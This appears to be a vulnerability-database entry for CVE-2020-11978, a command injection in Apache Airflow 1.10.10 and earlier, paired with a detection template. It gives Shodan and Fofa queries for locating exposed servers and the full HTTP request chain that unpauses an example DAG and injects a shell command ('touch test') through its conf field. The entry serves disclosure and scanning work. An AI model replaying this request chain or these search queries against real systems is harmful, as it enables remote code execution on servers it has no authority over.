| Title | Apache Airflow <=1.10.10 - Remote Code Execution |
|---|---|
| Author | pdteam |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable. |
| CVSS Score | 8.8 |
| EPSS Score | 0.94272 |
| CVE ID | CVE-2020-11978 |
| CWE ID | CWE-78 |
| Shodan Query | title:"Airflow - DAGs" || http.html:"Apache Airflow"http.title:"airflow - dags" || http.html:"apache airflow"http.title:"sign in - airflow"product:"redis" |
| Fofa Query | title="sign in - airflow"apache airflowtitle="airflow - dags" || http.html:"apache airflow" |
| Tags | cve2020 cve packetstorm apache airflow rce kev vkev vuln |
Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
GET /api/experimental/test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10
Connection: close
Accept: */*
Accept-Encoding: gzip
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Connection: close
Accept: */*
Accept-Encoding: gzip
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.15
Connection: close
Content-Length: 41
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip
{"conf": {"message": "\"; touch test #"}}
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/k52mxo/tasks/bash_task HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11978.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11978.pcap
N/AN/A